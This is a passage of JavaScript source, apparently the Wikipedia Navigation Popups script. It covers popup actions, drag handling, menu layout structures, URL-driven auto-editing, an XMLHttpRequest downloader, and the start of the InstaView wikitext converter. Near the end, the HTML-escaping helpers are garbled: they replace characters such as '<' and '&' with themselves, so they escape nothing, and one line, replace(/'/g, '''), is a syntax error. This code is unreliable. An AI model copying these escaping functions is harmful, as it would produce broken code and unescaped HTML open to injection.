getValueOf('popupAnchorRegexp') +
'\\s*(?:\\|[^|}]*)*?\\s*' +
literalizeRegex(anch) +
'\\s*(?:\\|[^}]*)?}})'
);
const match = d.match(anchRe);
if (match && match.length > 0 && match[0]) {
return d.substring(d.indexOf(match[0]));
}
// now try to deal with == foo [[bar|baz]] boom == -> #foo_baz_boom
const lines = d.split('\n');
for (let i = 0; i < lines.length; ++i) {
lines[i] = lines[i]
.replace(/[[]{2}([^|\]]*?[|])?(.*?)[\]]{2}/g, '$2')
.replace(/'''([^'])/g, '$1')
.replace(/''([^'])/g, '$1');
if (lines[i].match(anchRe)) {
return d.split('\n').slice(i).join('\n').replace(/^[^=]*/, '');
}
}
return d;
}
function killPopup() {
removeModifierKeyHandler(this);
if (getValueOf('popupShortcutKeys')) {
rmPopupShortcuts();
}
if (!pg) {
return;
}
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.banish();
}
pg.current.link = null;
abortAllDownloads();
if (pg.timer.checkPopupPosition) {
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = null;
}
return true; // preserve default action
}
// ENDFILE: actions.js
// STARTFILE: domdrag.js
/**
* @file
* The {@link Drag} object, which enables objects to be dragged around.
*
* <pre>
* *************************************************
* dom-drag.js
* 09.25.2001
* www.youngpup.net
* **************************************************
* 10.28.2001 - fixed minor bug where events
* sometimes fired off the handle, not the root.
* *************************************************
* Pared down, some hooks added by [[User:Lupin]]
*
* Copyright Aaron Boodman.
* Saying stupid things daily since March 2001.
* </pre>
*/
/**
* Creates a new Drag object. This is used to make various DOM elements draggable.
*
* @constructor
*/
function Drag() {
/**
* Condition to determine whether or not to drag. This function should take one parameter,
* an Event. To disable this, set it to <code>null</code>.
*
* @type {Function}
*/
this.startCondition = null;
/**
* Hook to be run when the drag finishes. This is passed the final coordinates of the
* dragged object (two integers, x and y). To disables this, set it to <code>null</code>.
*
* @type {Function}
*/
this.endHook = null;
}
/**
* Gets an event in a cross-browser manner.
*
* @param {Event} e
* @private
*/
Drag.prototype.fixE = function (e) {
if (typeof e == 'undefined') {
e = window.event;
}
if (typeof e.layerX == 'undefined') {
e.layerX = e.offsetX;
}
if (typeof e.layerY == 'undefined') {
e.layerY = e.offsetY;
}
return e;
};
/**
* Initialises the Drag instance by telling it which object you want to be draggable, and what
* you want to drag it by.
*
* @param {HTMLElement} o The "handle" by which <code>oRoot</code> is dragged.
* @param {HTMLElement} oRoot The object which moves when <code>o</code> is dragged, or <code>o</code> if omitted.
*/
Drag.prototype.init = function (o, oRoot) {
const dragObj = this;
this.obj = o;
o.onmousedown = function (e) {
dragObj.start.apply(dragObj, [e]);
};
o.dragging = false;
o.popups_draggable = true;
o.hmode = true;
o.vmode = true;
o.root = oRoot || o;
if (isNaN(parseInt(o.root.style.left, 10))) {
o.root.style.left = '0px';
}
if (isNaN(parseInt(o.root.style.top, 10))) {
o.root.style.top = '0px';
}
o.root.onthisStart = function () {};
o.root.onthisEnd = function () {};
o.root.onthis = function () {};
};
/**
* Starts the drag.
*
* @private
* @param {Event} e
*/
Drag.prototype.start = function (e) {
const o = this.obj; // = this;
e = this.fixE(e);
if (this.startCondition && !this.startCondition(e)) {
return;
}
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
o.root.onthisStart(x, y);
o.lastMouseX = e.clientX;
o.lastMouseY = e.clientY;
const dragObj = this;
o.onmousemoveDefault = document.onmousemove;
o.dragging = true;
document.onmousemove = function (e) {
dragObj.drag.apply(dragObj, [e]);
};
document.onmouseup = function (e) {
dragObj.end.apply(dragObj, [e]);
};
return false;
};
/**
* Does the drag.
*
* @param {Event} e
* @private
*/
Drag.prototype.drag = function (e) {
e = this.fixE(e);
const o = this.obj;
const ey = e.clientY;
const ex = e.clientX;
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
let nx, ny;
nx = x + (ex - o.lastMouseX) * (o.hmode ? 1 : -1);
ny = y + (ey - o.lastMouseY) * (o.vmode ? 1 : -1);
this.obj.root.style[o.hmode ? 'left' : 'right'] = nx + 'px';
this.obj.root.style[o.vmode ? 'top' : 'bottom'] = ny + 'px';
this.obj.lastMouseX = ex;
this.obj.lastMouseY = ey;
this.obj.root.onthis(nx, ny);
return false;
};
/**
* Ends the drag.
*
* @private
*/
Drag.prototype.end = function () {
document.onmousemove = this.obj.onmousemoveDefault;
document.onmouseup = null;
this.obj.dragging = false;
if (this.endHook) {
this.endHook(
parseInt(this.obj.root.style[this.obj.hmode ? 'left' : 'right'], 10),
parseInt(this.obj.root.style[this.obj.vmode ? 'top' : 'bottom'], 10)
);
}
};
// ENDFILE: domdrag.js
// STARTFILE: structures.js
pg.structures.original = {};
pg.structures.original.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupUserData',
'popupData',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.original.popupRedirSpans = function () {
return [
'popupRedir',
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
];
};
pg.structures.original.popupTitle = function (x) {
log('defaultstructure.popupTitle');
if (!getValueOf('popupNavLinks')) {
return navlinkStringToHTML('<b><<mainlink>></b>', x.article, x.params);
}
return '';
};
pg.structures.original.popupTopLinks = function (x) {
log('defaultstructure.popupTopLinks');
if (getValueOf('popupNavLinks')) {
return navLinksHTML(x.article, x.hint, x.params);
}
return '';
};
pg.structures.original.popupImage = function (x) {
log('original.popupImage, x.article=' + x.article + ', x.navpop.idNumber=' + x.navpop.idNumber);
return imageHTML(x.article, x.navpop.idNumber);
};
pg.structures.original.popupRedirTitle = pg.structures.original.popupTitle;
pg.structures.original.popupRedirTopLinks = pg.structures.original.popupTopLinks;
function copyStructure(oldStructure, newStructure) {
pg.structures[newStructure] = {};
for (const prop in pg.structures[oldStructure]) {
pg.structures[newStructure][prop] = pg.structures[oldStructure][prop];
}
}
copyStructure('original', 'nostalgia');
pg.structures.nostalgia.popupTopLinks = function (x) {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>';
str += 'if(wikimedia){*<<count|shortcut=#>>}';
str += 'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>';
str += 'if(admin){<br>}else{*}<<move|shortcut=m>>';
// admin links
str +=
'if(admin){*<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>}';
return navlinkStringToHTML(str, x.article, x.params);
};
pg.structures.nostalgia.popupRedirTopLinks = pg.structures.nostalgia.popupTopLinks;
/** -- fancy -- */
copyStructure('original', 'fancy');
pg.structures.fancy.popupTitle = function (x) {
return navlinkStringToHTML('<font size=+0><<mainlink>></font>', x.article, x.params);
};
pg.structures.fancy.popupTopLinks = function (x) {
const hist =
'<<history|shortcut=h|hist>>|<<lastEdit|shortcut=/|last>>|<<editors|shortcut=E|eds>>';
const watch = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
const move = '<<move|shortcut=m|move>>';
return navlinkStringToHTML(
'if(talk){' +
'<<edit|shortcut=e>>|<<new|shortcut=+|+>>*' +
hist +
'*' +
'<<article|shortcut=a>>|<<editArticle|edit>>' +
'*' +
watch +
'*' +
move +
'}else{<<edit|shortcut=e>>*' +
hist +
'*<<talk|shortcut=t|>>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>' +
'*' +
watch +
'*' +
move +
'}<br>',
x.article,
x.params
);
};
pg.structures.fancy.popupOtherLinks = function (x) {
const admin =
'<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*<<undelete|undeleteShort>>|<<delete|shortcut=d|del>>';
let user = '<<contribs|shortcut=c>>if(wikimedia){|<<count|shortcut=#|#>>}';
user +=
'if(ipuser){|<<arin>>}else{*<<email|shortcut=E|' +
popupString('email') +
'>>}if(admin){*<<block|shortcut=b>>}';
const normal = '<<whatLinksHere|shortcut=l|links here>>*<<relatedChanges|shortcut=r|related>>';
return navlinkStringToHTML(
'<br>if(user){' + user + '*}if(admin){' + admin + 'if(user){<br>}else{*}}' + normal,
x.article,
x.params
);
};
pg.structures.fancy.popupRedirTitle = pg.structures.fancy.popupTitle;
pg.structures.fancy.popupRedirTopLinks = pg.structures.fancy.popupTopLinks;
pg.structures.fancy.popupRedirOtherLinks = pg.structures.fancy.popupOtherLinks;
/** -- fancy2 -- */
// hack for [[User:MacGyverMagic]]
copyStructure('fancy', 'fancy2');
pg.structures.fancy2.popupTopLinks = function (x) {
// hack out the <br> at the end and put one at the beginning
return '<br>' + pg.structures.fancy.popupTopLinks(x).replace(/<br>$/i, '');
};
pg.structures.fancy2.popupLayout = function () {
// move toplinks to after the title
return [
'popupError',
'popupImage',
'popupTitle',
'popupUserData',
'popupData',
'popupTopLinks',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
/** -- menus -- */
copyStructure('original', 'menus');
pg.structures.menus.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupUserData',
'popupData',
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.menus.popupTopLinks = function (x, shorter) {
// FIXME maybe this stuff should be cached
const s = [];
const dropclass = 'popup_drop';
const enddiv = '</div>';
let hist = '<<history|shortcut=h>>';
if (!shorter) {
hist = '<menurow>' + hist + '|<<historyfeed|rss>>|<<editors|shortcut=E>></menurow>';
}
const lastedit = '<<lastEdit|shortcut=/|show last edit>>';
const thank = 'if(diff){<<thank|send thanks>>}';
const jsHistory = '<<lastContrib|last set of edits>><<sinceMe|changes since mine>>';
const linkshere = '<<whatLinksHere|shortcut=l|what links here>>';
const related = '<<relatedChanges|shortcut=r|related changes>>';
const search =
'<menurow><<search|shortcut=s>>if(wikimedia){|<<globalsearch|shortcut=g|global>>}' +
'|<<google|shortcut=G|web>></menurow>';
const watch = '<menurow><<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>></menurow>';
const protect =
'<menurow><<unprotect|unprotectShort>>|' +
'<<protect|shortcut=p>>|<<protectlog|log>></menurow>';
const del =
'<menurow><<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>></menurow>';
const move = '<<move|shortcut=m|move page>>';
const nullPurge = '<menurow><<nullEdit|shortcut=n|null edit>>|<<purge|shortcut=P>></menurow>';
const viewOptions = '<menurow><<view|shortcut=v>>|<<render|shortcut=S>>|<<raw>></menurow>';
const editRow =
'if(oldid){' +
'<menurow><<edit|shortcut=e>>|<<editOld|shortcut=e|this revision>></menurow>' +
'<menurow><<revert|shortcut=v>>|<<undo>></menurow>' +
'}else{<<edit|shortcut=e>>}';
const markPatrolled = 'if(rcid){<<markpatrolled|mark patrolled>>}';
const newTopic = 'if(talk){<<new|shortcut=+|new topic>>}';
const protectDelete = 'if(admin){' + protect + del + '}';
if (getValueOf('popupActionsMenu')) {
s.push('<<mainlink>>*' + menuTitle(dropclass, 'actions'));
} else {
s.push('<div class="' + dropclass + '"><<mainlink>>');
}
s.push('<menu>');
s.push(editRow + markPatrolled + newTopic + hist + lastedit + thank);
if (!shorter) {
s.push(jsHistory);
}
s.push(move + linkshere + related);
if (!shorter) {
s.push(nullPurge + search);
}
if (!shorter) {
s.push(viewOptions);
}
s.push('<hr />' + watch + protectDelete);
s.push(
'<hr />' +
'if(talk){<<article|shortcut=a|view article>><<editArticle|edit article>>}' +
'else{<<talk|shortcut=t|talk page>><<editTalk|edit talk>>' +
'<<newTalk|shortcut=+|new topic>>}</menu>' +
enddiv
);
// user menu starts here
const email = '<<email|shortcut=E|email user>>';
const contribs =
'if(wikimedia){<menurow>}<<contribs|shortcut=c|contributions>>if(wikimedia){</menurow>}' +
'if(admin){<menurow><<deletedContribs>></menurow>}';
s.push('if(user){*' + menuTitle(dropclass, 'user'));
s.push('<menu>');
s.push('<menurow><<userPage|shortcut=u|user page>>|<<userSpace|space>></menurow>');
s.push(
'<<userTalk|shortcut=t|user talk>><<editUserTalk|edit user talk>>' +
'<<newUserTalk|shortcut=+|leave comment>>'
);
if (!shorter) {
s.push('if(ipuser){<<arin>>}else{' + email + '}');
} else {
s.push('if(ipuser){}else{' + email + '}');
}
s.push('<hr />' + contribs + '<<userlog|shortcut=L|user log>>');
s.push('if(wikimedia){<<count|shortcut=#|edit counter>>}');
s.push(
'if(admin){<menurow><<unblock|unblockShort>>|<<block|shortcut=b|block user>></menurow>}'
);
s.push('<<blocklog|shortcut=B|block log>>');
s.push('</menu>' + enddiv + '}');
// popups menu starts here
if (getValueOf('popupSetupMenu') && !x.navpop.hasPopupMenu /* FIXME: hack */) {
x.navpop.hasPopupMenu = true;
s.push('*' + menuTitle(dropclass, 'popupsMenu') + '<menu>');
s.push('<<togglePreviews|toggle previews>>');
s.push('<<purgePopups|reset>>');
s.push('<<disablePopups|disable>>');
s.push('</menu>' + enddiv);
}
return navlinkStringToHTML(s.join(''), x.article, x.params);
};
function menuTitle(dropclass, s) {
const text = popupString(s); // i18n
const len = text.length;
return '<div class="' + dropclass + '" style="--navpop-m-len:' + len + 'ch"><a href="#" noPopup=1>' + text + '</a>';
}
pg.structures.menus.popupRedirTitle = pg.structures.menus.popupTitle;
pg.structures.menus.popupRedirTopLinks = pg.structures.menus.popupTopLinks;
copyStructure('menus', 'shortmenus');
pg.structures.shortmenus.popupTopLinks = function (x) {
return pg.structures.menus.popupTopLinks(x, true);
};
pg.structures.shortmenus.popupRedirTopLinks = pg.structures.shortmenus.popupTopLinks;
pg.structures.lite = {};
pg.structures.lite.popupLayout = function () {
return ['popupTitle', 'popupPreview'];
};
pg.structures.lite.popupTitle = function (x) {
log(x.article + ': structures.lite.popupTitle');
//return navlinkStringToHTML('<b><<mainlink>></b>',x.article,x.params);
return '<div><span class="popup_mainlink"><b>' + x.article.toString() + '</b></span></div>';
};
// ENDFILE: structures.js
// STARTFILE: autoedit.js
function substitute(data, cmdBody) {
// alert('sub\nfrom: '+cmdBody.from+'\nto: '+cmdBody.to+'\nflags: '+cmdBody.flags);
const fromRe = RegExp(cmdBody.from, cmdBody.flags);
return data.replace(fromRe, cmdBody.to);
}
function execCmds(data, cmdList) {
for (let i = 0; i < cmdList.length; ++i) {
data = cmdList[i].action(data, cmdList[i]);
}
return data;
}
function parseCmd(str) {
// returns a list of commands
if (!str.length) {
return [];
}
let p = false;
switch (str.charAt(0)) {
case 's':
p = parseSubstitute(str);
break;
default:
return false;
}
if (p) {
return [p].concat(parseCmd(p.remainder));
}
return false;
}
// FIXME: Only used once here, confusing with native (and more widely-used) unescape, should probably be replaced
// Then again, unescape is semi-soft-deprecated, so we should look into replacing that too
function unEscape(str, sep) {
return str
.split('\\\\')
.join('\\')
.split('\\' + sep)
.join(sep)
.split('\\n')
.join('\n');
}
function parseSubstitute(str) {
// takes a string like s/a/b/flags;othercmds and parses it
let from, to, flags, tmp;
if (str.length < 4) {
return false;
}
const sep = str.charAt(1);
str = str.substring(2);
tmp = skipOver(str, sep);
if (tmp) {
from = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
tmp = skipOver(str, sep);
if (tmp) {
to = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
flags = '';
if (str.length) {
tmp = skipOver(str, ';') || skipToEnd(str, ';');
if (tmp) {
flags = tmp.segment;
str = tmp.remainder;
}
}
return {
action: substitute,
from: from,
to: to,
flags: flags,
remainder: str,
};
}
function skipOver(str, sep) {
const endSegment = findNext(str, sep);
if (endSegment < 0) {
return false;
}
const segment = unEscape(str.substring(0, endSegment), sep);
return { segment: segment, remainder: str.substring(endSegment + 1) };
}
/*eslint-disable*/
function skipToEnd(str, sep) {
return { segment: str, remainder: '' };
}
/*eslint-enable */
function findNext(str, ch) {
for (let i = 0; i < str.length; ++i) {
if (str.charAt(i) == '\\') {
i += 2;
}
if (str.charAt(i) == ch) {
return i;
}
}
return -1;
}
function setCheckbox(param, box) {
const val = mw.util.getParamValue(param);
if (val) {
switch (val) {
case '1':
case 'yes':
case 'true':
box.checked = true;
break;
case '0':
case 'no':
case 'false':
box.checked = false;
}
}
}
function autoEdit() {
setupPopups(() => {
if (mw.util.getParamValue('autoimpl') !== popupString('autoedit_version')) {
return false;
}
if (
mw.util.getParamValue('autowatchlist') &&
mw.util.getParamValue('actoken') === autoClickToken()
) {
pg.fn.modifyWatchlist(mw.util.getParamValue('title'), mw.util.getParamValue('action'));
}
if (!document.editform) {
return false;
}
if (autoEdit.alreadyRan) {
return false;
}
autoEdit.alreadyRan = true;
const cmdString = mw.util.getParamValue('autoedit');
if (cmdString) {
try {
const editbox = document.editform.wpTextbox1;
const cmdList = parseCmd(cmdString);
const input = editbox.value;
const output = execCmds(input, cmdList);
editbox.value = output;
} catch (dang) {
return;
}
// wikEd user script compatibility
if (typeof wikEdUseWikEd != 'undefined') {
if (wikEdUseWikEd === true) {
WikEdUpdateFrame();
}
}
}
setCheckbox('autominor', document.editform.wpMinoredit);
setCheckbox('autowatch', document.editform.wpWatchthis);
const rvid = mw.util.getParamValue('autorv');
if (rvid) {
const url =
pg.wiki.apiwikibase +
'?action=query&format=json&formatversion=2&prop=revisions&revids=' +
rvid;
startDownload(url, null, autoEdit2);
} else {
autoEdit2();
}
});
}
function autoEdit2(d) {
let summary = mw.util.getParamValue('autosummary');
let summaryprompt = mw.util.getParamValue('autosummaryprompt');
let summarynotice = '';
if (d && d.data && mw.util.getParamValue('autorv')) {
const s = getRvSummary(summary, d.data);
if (s === false) {
summaryprompt = true;
summarynotice = popupString(
'Failed to get revision information, please edit manually.\n\n'
);
summary = simplePrintf(summary, [
mw.util.getParamValue('autorv'),
'(unknown)',
'(unknown)',
]);
} else {
summary = s;
}
}
if (summaryprompt) {
const txt =
summarynotice + popupString('Enter a non-empty edit summary or press cancel to abort');
const response = prompt(txt, summary);
if (response) {
summary = response;
} else {
return;
}
}
if (summary) {
document.editform.wpSummary.value = summary;
}
// Attempt to avoid possible premature clicking of the save button
// (maybe delays in updates to the DOM are to blame?? or a red herring)
setTimeout(autoEdit3, 100);
}
function autoClickToken() {
return mw.user.sessionId();
}
function autoEdit3() {
if (mw.util.getParamValue('actoken') != autoClickToken()) {
return;
}
const btn = mw.util.getParamValue('autoclick');
if (btn) {
if (document.editform && document.editform[btn]) {
const button = document.editform[btn];
const msg = tprintf(
'The %s button has been automatically clicked. Please wait for the next page to load.',
[button.value]
);
bannerMessage(msg);
document.title = '(' + document.title + ')';
button.click();
} else {
alert(
tprintf('Could not find button %s. Please check the settings in your javascript file.', [
btn,
])
);
}
}
}
function bannerMessage(s) {
const headings = document.getElementsByTagName('h1');
if (headings) {
const div = document.createElement('div');
div.innerHTML = '<font size=+1><b>' + pg.escapeQuotesHTML(s) + '</b></font>';
headings[0].parentNode.insertBefore(div, headings[0]);
}
}
function getRvSummary(template, json) {
try {
const o = getJsObj(json);
const edit = anyChild(o.query.pages).revisions[0];
const timestamp = edit.timestamp
.split(/[A-Z]/g)
.join(' ')
.replace(/^ *| *$/g, '');
return simplePrintf(template, [
edit.revid,
timestamp,
edit.userhidden ? '(hidden)' : edit.user,
]);
} catch (badness) {
return false;
}
}
// ENDFILE: autoedit.js
// STARTFILE: downloader.js
/**
* @file
* {@link Downloader}, a xmlhttprequest wrapper, and helper functions.
*/
/**
* Creates a new Downloader
*
* @constructor
* @class The Downloader class. Create a new instance of this class to download stuff.
* @param {string} url The url to download. This can be omitted and supplied later.
*/
function Downloader(url) {
if (typeof XMLHttpRequest != 'undefined') {
this.http = new XMLHttpRequest();
}
/**
* The url to download
*
* @type {string}
*/
this.url = url;
/**
* A universally unique ID number
*
* @type {number}
*/
this.id = null;
/**
* Modification date, to be culled from the incoming headers
*
* @type {Date}
* @private
*/
this.lastModified = null;
/**
* What to do when the download completes successfully
*
* @type {Function}
* @private
*/
this.callbackFunction = null;
/**
* What to do on failure
*
* @type {Function}
* @private
*/
this.onFailure = null;
/**
* Flag set on <code>abort</code>
*
* @type {boolean}
*/
this.aborted = false;
/**
* HTTP method. See https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html for
* possibilities.
*
* @type {string}
*/
this.method = 'GET';
/**
* Async flag.
*
* @type {boolean}
*/
this.async = true;
}
new Downloader();
/** Submits the http request. */
Downloader.prototype.send = function (x) {
if (!this.http) {
return null;
}
return this.http.send(x);
};
/** Aborts the download, setting the <code>aborted</code> field to true. */
Downloader.prototype.abort = function () {
if (!this.http) {
return null;
}
this.aborted = true;
return this.http.abort();
};
/** Returns the downloaded data. */
Downloader.prototype.getData = function () {
if (!this.http) {
return null;
}
return this.http.responseText;
};
/** Prepares the download. */
Downloader.prototype.setTarget = function () {
if (!this.http) {
return null;
}
this.http.open(this.method, this.url, this.async);
this.http.setRequestHeader('Api-User-Agent', pg.api.userAgent);
};
/** Gets the state of the download. */
Downloader.prototype.getReadyState = function () {
if (!this.http) {
return null;
}
return this.http.readyState;
};
pg.misc.downloadsInProgress = {};
/**
* Starts the download.
* Note that setTarget {@link Downloader#setTarget} must be run first
*/
Downloader.prototype.start = function () {
if (!this.http) {
return;
}
pg.misc.downloadsInProgress[this.id] = this;
this.http.send(null);
};
/**
* Gets the 'Last-Modified' date from the download headers.
* Should be run after the download completes.
* Returns <code>null</code> on failure.
*
* @return {Date}
*/
Downloader.prototype.getLastModifiedDate = function () {
if (!this.http) {
return null;
}
let lastmod = null;
try {
lastmod = this.http.getResponseHeader('Last-Modified');
} catch (err) {}
if (lastmod) {
return new Date(lastmod);
}
return null;
};
/**
* Sets the callback function.
*
* @param {Function} f callback function, called as <code>f(this)</code> on success
*/
Downloader.prototype.setCallback = function (f) {
if (!this.http) {
return;
}
this.http.onreadystatechange = f;
};
Downloader.prototype.getStatus = function () {
if (!this.http) {
return null;
}
return this.http.status;
};
//////////////////////////////////////////////////
// helper functions
/**
* Creates a new {@link Downloader} and prepares it for action.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function newDownload(url, id, callback, onfailure) {
const d = new Downloader(url);
if (!d.http) {
return 'ohdear';
}
d.id = id;
d.setTarget();
if (!onfailure) {
onfailure = 2;
}
const f = function () {
if (d.getReadyState() == 4) {
delete pg.misc.downloadsInProgress[this.id];
try {
if (d.getStatus() == 200) {
d.data = d.getData();
d.lastModified = d.getLastModifiedDate();
callback(d);
} else if (typeof onfailure == typeof 1) {
if (onfailure > 0) {
// retry
newDownload(url, id, callback, onfailure - 1);
}
} else if (typeof onfailure === 'function') {
onfailure(d, url, id, callback);
}
} catch (somerr) {
/* ignore it */
}
}
};
d.setCallback(f);
return d;
}
/**
* Simulates a download from cached data.
* The supplied data is put into a {@link Downloader} as if it had downloaded it.
*
* @param {string} url The url.
* @param {number} id The ID.
* @param {Function} callback The callback, which is invoked immediately as <code>callback(d)</code>,
* where <code>d</code> is the new {@link Downloader}.
* @param {string} data The (cached) data.
* @param {Date} lastModified The (cached) last modified date.
*/
function fakeDownload(url, id, callback, data, lastModified, owner) {
const d = newDownload(url, callback);
d.owner = owner;
d.id = id;
d.data = data;
d.lastModified = lastModified;
return callback(d);
}
/**
* Starts a download.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function startDownload(url, id, callback) {
const d = newDownload(url, id, callback);
if (typeof d == typeof '') {
return d;
}
d.start();
return d;
}
/**
* Aborts all downloads which have been started.
*/
function abortAllDownloads() {
for (const x in pg.misc.downloadsInProgress) {
try {
pg.misc.downloadsInProgress[x].aborted = true;
pg.misc.downloadsInProgress[x].abort();
delete pg.misc.downloadsInProgress[x];
} catch (e) {}
}
}
// ENDFILE: downloader.js
// STARTFILE: livepreview.js
// TODO: location is often not correct (eg relative links in previews)
// NOTE: removed md5 and image and math parsing. was broken, lots of bytes.
/**
* InstaView - a Mediawiki to HTML converter in JavaScript
* Version 0.6.1
* Copyright (C) Pedro Fayolle 2005-2006
* https://en.wikipedia.org/wiki/User:Pilaf
* Distributed under the BSD license
*
* Changelog:
*
* 0.6.1
* - Fixed problem caused by \r characters
* - Improved inline formatting parser
*
* 0.6
* - Changed name to InstaView
* - Some major code reorganizations and factored out some common functions
* - Handled conversion of relative links (i.e. [[/foo]])
* - Fixed misrendering of adjacent definition list items
* - Fixed bug in table headings handling
* - Changed date format in signatures to reflect Mediawiki's
* - Fixed handling of [[:Image:...]]
* - Updated MD5 function (hopefully it will work with UTF-8)
* - Fixed bug in handling of links inside images
*
* To do:
* - Better support for math tags
* - Full support for <nowiki>
* - Parser-based (as opposed to RegExp-based) inline wikicode handling (make it one-pass and
* bullet-proof)
* - Support for templates (through AJAX)
* - Support for coloured links (AJAX)
*/
const Insta = {};
function setupLivePreview() {
// options
Insta.conf = {
baseUrl: '',
user: {},
wiki: {
lang: pg.wiki.lang,
interwiki: pg.wiki.interwiki,
default_thumb_width: 180,
},
paths: {
articles: pg.wiki.articlePath + '/',
// Only used for Insta previews with images. (not in popups)
math: '/math/',
images: '//upload.wikimedia.org/wikipedia/en/', // FIXME getImageUrlStart(pg.wiki.hostname),
images_fallback: '//upload.wikimedia.org/wikipedia/commons/',
},
locale: {
user: mw.config.get('wgFormattedNamespaces')[pg.nsUserId],
image: mw.config.get('wgFormattedNamespaces')[pg.nsImageId],
category: mw.config.get('wgFormattedNamespaces')[pg.nsCategoryId],
// shouldn't be used in popup previews, i think
months: [
'Jan',
'Feb',
'Mar',
'Apr',
'May',
'Jun',
'Jul',
'Aug',
'Sep',
'Oct',
'Nov',
'Dec',
],
},
};
// options with default values or backreferences
Insta.conf.user.name = Insta.conf.user.name || 'Wikipedian';
Insta.conf.user.signature =
'[[' +
Insta.conf.locale.user +
':' +
Insta.conf.user.name +
'|' +
Insta.conf.user.name +
']]';
//Insta.conf.paths.images = '//upload.wikimedia.org/wikipedia/' + Insta.conf.wiki.lang + '/';
// define constants
Insta.BLOCK_IMAGE = new RegExp(
'^\\[\\[(?:File|Image|' +
Insta.conf.locale.image +
'):.*?\\|.*?(?:frame|thumbnail|thumb|none|right|left|center)',
'i'
);
}
Insta.dump = function (from, to) {
if (typeof from == 'string') {
from = document.getElementById(from);
}
if (typeof to == 'string') {
to = document.getElementById(to);
}
to.innerHTML = this.convert(from.value);
};
Insta.convert = function (wiki) {
let ll = typeof wiki == 'string' ? wiki.replace(/\r/g, '').split(/\n/) : wiki, // lines of wikicode
o = '', // output
p = 0, // para flag
r; // result of passing a regexp to compareLineStringOrReg()
// some shorthands
function remain() {
return ll.length;
}
function sh() {
return ll.shift();
} // shift
function ps(s) {
o += s;
} // push
// similar to C's printf, uses ? as placeholders, ?? to escape question marks
function f() {
let i = 1,
a = arguments,
f = a[0],
o = '',
c,
p;
for (; i < a.length; i++) {
if ((p = f.indexOf('?')) + 1) {
// allow character escaping
i -= c = f.charAt(p + 1) == '?' ? 1 : 0;
o += f.substring(0, p) + (c ? '?' : a[i]);
f = f.substr(p + 1 + c);
} else {
break;
}
}
return o + f;
}
function html_entities(s) {
return s.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
}
// Wiki text parsing to html is a nightmare.
// The below functions deliberately don't escape the ampersand since this would make it more
// difficult, and we don't absolutely need to for how we need it. This means that any
// unescaped ampersands in wikitext will remain unescaped and can cause invalid HTML.
// Browsers should all be able to handle it though. We also escape significant wikimarkup
// characters to prevent further matching on the processed text.
function htmlescape_text(s) {
return s
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/:/g, ':')
.replace(/\[/g, '[')
.replace(/]/g, ']');
}
function htmlescape_attr(s) {
return htmlescape_text(s).replace(/'/g, ''').replace(/"/g, '"');
